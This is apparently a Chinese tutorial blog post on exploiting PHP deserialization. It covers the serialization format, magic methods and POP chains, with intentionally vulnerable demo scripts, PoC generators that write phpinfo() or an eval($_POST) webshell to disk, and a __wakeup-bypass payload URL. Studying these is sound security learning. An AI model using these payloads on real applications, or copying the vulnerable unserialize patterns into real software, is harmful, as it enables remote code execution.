php反序列化利用

参考文献:http://www.lmxspace.com/2018/05/03/php-unserialize-%E5%88%9D%E8%AF%86/
http://www.lmxspace.com/2018/05/03/php-unserialize-%E5%88%9D%E8%AF%86/

1.序列化概念:

所有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示。unserialize()函数能够重新把字符串变回php原来的值。 序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。

serialize()将一个对象转换成一个字符串
unserialize()将字符串还原为一个对象

1.1 一个序列化的简单例子

<?php
class test
{
    public $flag = 'Inactive';
    public function set_flag($flag)
    {
        $this->flag = $flag;
    }
    public function get_flag($flag)
    {
        return $this->flag;
    }
}
$object = new test();
$object->set_flag('Active');
$data = serialize($object);
echo $data;
file_put_contents('serialize.txt', $data);
?>

当$flag为public类型时,输出:O:4:"test":1:{s:4:"flag";s:6:"Active";}

php反序列化利用
3.png

当$flag为private类型时,输出O:4:"test":1:{s:10:"testflag";s:6:"Active";};

php反序列化利用
1.png

当$flag为protected类型时,输出O:4:"test":1:{s:7:"*flag";s:6:"Active";}

php反序列化利用
2.png

Ps:对象的私有成员具有加入成员名称的类名称;受保护的成员在成员名前面加上*。这些前缀值在任一侧都有空字节

1.2 PHP序列化格式:

O:4:"Test":2:{s:1:"a";s:5:"Hello";s:1:"b";i:20;}
类型:长度:"名字":类中变量的个数:{类型:长度:"名字";类型:长度:"值";......}

1.3 类型字母详解:

a - array                  b - boolean  
d - double                 i - integer
o - common object          r - reference
s - string                 C - custom object
O - class                  N - null
R - pointer reference      U - unicode string

1.4 magic函数:
命名是以符号__开头的(php中存在一些特殊的类成员在某些特定情况下会自动调用)。

__construct当一个对象创建时被调用,
__destruct当一个对象销毁时被调用,
__toString当一个对象被当作一个字符串被调用。
__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发,返回值需要为字符串
__invoke() //当脚本尝试将对象调用为函数时触发

2.PHP反序列化与POP链

  • 当反序列化参数可控时,可能会产生PHP反序列化漏洞。
  • 在反序列化中,我们所能控制的数据就是对象中的各个属性值,所以在PHP的反序列化有一种漏洞利用方法叫做 “面向属性编程”,面向对象编程从一定程度上来说,就是完成类与类之间的调用。POP链起于一些小的“组件”,这些小“组件”可以调用其他的“组件”
  • 在PHP中,“组件”就是上面提到的magic函数__wakeup()或__destruct
    2.1 几个可用的POP链方法
命令执行:exec()            passthru()         popen()         system()
文件操作:file_put_contents()         file_get_contents()         unlink()

2.1.1POP链的示例

#shm1.php
<?php
class popdemo{
    private $data = "demo\n";
    private $filename = './demo';
    public function __wakeup(){
        $this->save($this->filename);
    }
    public function save($filename){
        file_put_contents($filename, $this->data);
    }
}
unserialize(file_get_contents('./serialized.txt));
?>

该文件定义了一个 popdemo 类,该类实现了__wakeup 函数,然后在该函数中又调用了save函数,且参数对象是文件名。跟进save函数,在此函数中通过调用file_put_contents函数,这个函数的$filenamedata属性值是从save函数中传出来的,并且创建了一个文件。__wakeup()函数在序列化时自动调用,这里还定义了一个保存文件的函数,在这个反序列化过程中对象的属性值可控。于是这里就存在一个任意文件写入任意文件内容的反序列化漏洞了。

  • 利用POC
#shm.php
<?php
class popdemo
{
    private $data = "<?php phpinfo();?>\n";
    private $filename = './poc.php';
    public function __wakeup(){
        $this->save($this->filename);
    }
    public function save($filename){
        file_put_contents($filename, $this->data);
    }
}
$demo = new popdemo();
echo serialize($demo);
file_put_contents("./serialized.txt",serialize($demo));
?>

先运行poc代码,然后运行测试代码,会在同目录下生成一个poc.php


php反序列化利用
1.png

3.反序列化漏洞的利用

3.1 利用构造函数
php在使用unserialize()后会导致__wakeup()__destruct()的直接调用,中间无需其他过程。因此最理想的情况就是一些漏洞/危害代码在__wakeup()__destruct()中,从而当我们控制序列化字符串时可以去直接触发它们。

<?php
class pocdemo{
    function __construct($test){
        $fp = fopen("shell.php","w") ;
        fwrite($fp,$test);
        fclose($fp);
    }
}
class l1nk3r{
    var $test = '123';
    function __wakeup(){
        $obj = new pocdemo($this->test);
    }
}
$test = file_get_contents('./ser.txt');
unserialize($test);
require "shell.php";
?>

代码主要是通过get方法通过test传入序列化好的字符串,然后在反序列化的时候自动调用__wakeup()函数,在__wakeup()函数中通过new pocdemo()会自动调用对象pocdemo中的__construct(),从而把<?php phpinfo(); ?>写入到shell.php中。

  • poc代码
<?php
class pocdemo{
    function __construct($test){
        $fp = fopen("shell.php","w") ;
        fwrite($fp,$test);
        fclose($fp);
    }
}
class l1nk3r{
    var $test =  '<?php phpinfo(); ?>';
    function __wakeup(){
        $obj = new pocdemo($this->test);
    }
}$ser = new l1nk3r();
$result = serialize($ser);
print $result;
file_put_contents('./ser.txt',$result);
?>

跟上面的利用方式一样,运行poc代码后,运行demo代码。则<?php phpinfo(); ?>写入到shell.php

3.2 利用普通成员方法
在反序列化的时候,当漏洞/危险代码存在类的普通方法中,就不能指望通过“自动调用”来达到目的了。这时的利用方法如下,寻找相同的函数名,把敏感函数和类联系在一起。

<?php
class l1nk3r {
    var $test;
    function __construct() {
        $this->test = new CodeMonster();
    }
    function __destruct() {
        $this->test->action();
    }
}
class CodeMonster {
    function action() {
        echo "CodeMonster";
    }
}
class CodeMonster1 {
    var $test2;
    function action() {
        eval($this->test2);
    }
}
$class6 = new l1nk3r();
unserialize($_GET['test']);
?>

此代码通过new 实例化一个新的l1nk3r对象后,调用__construct(),其中该函数又new了一个新的CodeMonster对象;这个对象的功能是定义了action(),并且打印CodeMonster。然后结束的时候调用__destruct(),在__destruct()会调用action(),因此页面会输出CodeMonster。
在代码中,可看到codermaster1对象中有一个eval(),刚刚在l1nk3r对象中,new的是CodeMonster,如果new的是CodeMonster1,那么自然就会进入CodeMonster1中,然后eval()函数中的$test2可控制,那么自然就可以实现远程代码执行了

  • poc代码
<?php
class l1nk3r {
    var $test;
    function __construct() {
        $this->test = new CodeMonster1();
    }
}
class CodeMonster1 {
    var $test2='phpinfo();';
}
$class = new l1nk3r();
print_r(serialize($class));
?>

得到O:6:"l1nk3r":1:{s:4:"test";O:12:"CodeMonster1":1:{s:5:"test2";s:10:"phpinfo();";}}

php反序列化利用
1.png

4.反序列化漏洞的挖掘

4.1漏洞发现技巧

找PHP链的基本思路.

在各大流行的包中搜索 __wakeup()__destruct() 函数.
追踪调用过程
手工构造 并验证 POP 链
开发一个应用使用该库和自动加载机制,来测试exploit.

4.2 构造exploit的思路

寻找可能存在漏洞的应用
在他所使用的库中寻找 POP gadgets
在虚拟机中安装这些库,将找到的POP链对象序列化,在反序列化测试payload
将序列化之后的payload发送到有漏洞web应用中进行测试.

5.反序列化需注意的点

①.当成员属性数目大于实际数目时可绕过__wakeup()//PHP版本为PHP5小于5.6.25或PHP7小于7.0.10
②.CTF中成员属性数目前面多一个 +,可以绕过正则。
③.protected和private属性会产生一些浏览器看不见的字符。

  • 一个简单的例子
<?php
class Test
{
   private $poc = '';
   public function __construct($poc)
   {
       $this->poc = $poc;
   }
   function __destruct()
   {
       if ($this->poc != '')
       {
           file_put_contents('shell.php', '<?php eval($_POST['shell']);?>');
           die('Success!!!');
       }
       else
       {
           die('fail to getshell!!!');
       }        
   }
   function __wakeup()
   {
       foreach(get_object_vars($this) as $k => $v)
       {
           $this->$k = null;
       }
       echo "waking up...n";
   }
}
$poc = $_GET['poc'];
if(!isset($poc))
{
   show_source(__FILE__);
   die();
}
$a = unserialize($poc);

需要再反序列化的时候绕过__wakeup以达到写文件的操作

  • poc代码
<?php
class Test
    {
      .......
        }
        function __wakeup()
        {
            foreach(get_object_vars($this) as $k => $v)
            {
                $this->$k = null;
            }
            echo "waking up...n";
        }
    }
$a = new Test('shell');
$poc = serialize($a);
print($poc);

运行poc得到O:4:"Test":1:{s:9:" Test poc";s:5:"shell";}
运行payload:(将1改为大于1的任何整数,将Testpoc改为%00Test%00poc)
http://localhost/shm.php?poc=O:4:"Test":2:{s:9:"%00Test%00poc";s:5:"shell";}
写入文件操作成功。

上一篇:阿里云商标注册申请的相关详情及分类介绍


下一篇:网络攻击见招拆招?阿里云高级技术专家赵伟教你在CDN边缘节点上构建多层纵深防护体系